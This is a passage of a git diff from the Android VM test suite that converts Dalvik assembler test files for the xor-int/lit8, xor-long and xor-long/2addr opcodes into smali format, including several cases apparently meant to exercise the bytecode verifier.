-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_3.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       xor-int/lit8 v1, v1, -1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.smali
new file mode 100644
index 0000000..dd43fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       xor-int/lit8 v1, v1, -1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.d
deleted file mode 100644
index 6832299..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_4.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       xor-int/lit8 v1, v1, -128
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.smali
new file mode 100644
index 0000000..c02bb9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       xor-int/lit8 v1, v1, -128
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.d
deleted file mode 100644
index 3a3da2b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_5.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide/16 v2, 12345
-       xor-int/lit8 v1, v2, -128
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.smali
new file mode 100644
index 0000000..77d5fec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide/16 v2, 12345
+       xor-int/lit8 v1, v2, -128
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.d
deleted file mode 100644
index b7bc40a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_6.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       xor-int/lit8 v1, v2, 1
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.smali
new file mode 100644
index 0000000..5c10d59
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       xor-int/lit8 v1, v2, 1
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.d
deleted file mode 100644
index 23e9337..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_7.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 3
-
-       xor-int/lit8 v1, v2, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.smali
new file mode 100644
index 0000000..10c0f71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 3
+
+       xor-int/lit8 v1, v2, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.d
deleted file mode 100644
index 0fc33fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_lit8_8.java
-.class public dot.junit.opcodes.xor_int_lit8.d.T_xor_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 3
-
-       xor-int/lit8 v1, v3, 8
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.smali
new file mode 100644
index 0000000..f0e44a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/xor_int_lit8/d/T_xor_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 3
+
+       xor-int/lit8 v1, v3, 8
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.d
deleted file mode 100644
index fb345ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_1.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long v1, v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.smali
new file mode 100644
index 0000000..b3c8a79
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_1.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long v1, v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.d
deleted file mode 100644
index 52f7815..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DJ)J
-.limit regs 5
-
-       xor-long v1, v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.smali
new file mode 100644
index 0000000..3192949
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)J
+.registers 5
+
+       xor-long v1, v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.d
deleted file mode 100644
index 2042970..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_3.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       const/16 v3, 1234    
-       xor-long v1, v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.smali
new file mode 100644
index 0000000..3e034fa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_3.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       const/16 v3, 1234    
+       xor-long v1, v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.smali
new file mode 100644
index 0000000..21fb779
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/xor_long/d/T_xor_long_4;
+.super Ljava/lang/Object;
+.source "T_xor_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 5
+
+    const p3, 0x449a4000    # 1234.0f
+
+    xor-long p1, p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.d
deleted file mode 100644
index a48545f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_5.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long v1, v1, v0
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.smali
new file mode 100644
index 0000000..2512989
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_5.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long v1, v1, v0
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.d
deleted file mode 100644
index 0e2c18f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_6.java
-.class public dot.junit.opcodes.xor_long.d.T_xor_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long v1, v1, v5
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.smali
new file mode 100644
index 0000000..0bad346
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long/d/T_xor_long_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_6.java"
+.class  public Ldot/junit/opcodes/xor_long/d/T_xor_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long v1, v1, v5
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.d
deleted file mode 100644
index 7d84e33..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_1.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long/2addr v1, v3
-       return-wide v1
-.end method
-
-
